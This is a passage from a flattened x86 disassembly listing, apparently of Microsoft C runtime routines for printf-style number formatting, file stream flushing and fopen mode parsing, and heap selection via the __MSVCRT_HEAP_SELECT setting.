XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_4395A0 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_4395A0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_48B440 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax nop call near ptr 2610978h test eax, eax jnz short loc_41A730 nop call near ptr 2630B7Ah mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_48A018, 0 mov dword_48A014, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_48B320, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_48B320 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_43BCD8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_43BCF8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_48A1D8 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_48A06C[eax*4], 0 push ebx push edi lea edi, ds:48A06Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_48A1E0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_48A1D8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_48B320 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_48A310 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_48A310 mov [edi+ecx], eax mov eax, dword_48A310 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_48A078 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2700E3Fh nop cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 2771450h test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2820000h test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2640000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: ___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024153h dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh, 48B688A3h dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h dd 0C0850000h, 35FF0F75h, 48B684h, 6081E890h, 0C0330240h dd 58016AC3h, 14068C3h, 6A0000h, 0B68435FFh, 0E8900048h dd 22D52ACh, 7CA3C085h, 750048B6h, 4C8BC301h, 25830424h dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh dd 6805C700h, 100048B6h, 58000000h ; --------------------------------------------------------------------------- retn ; 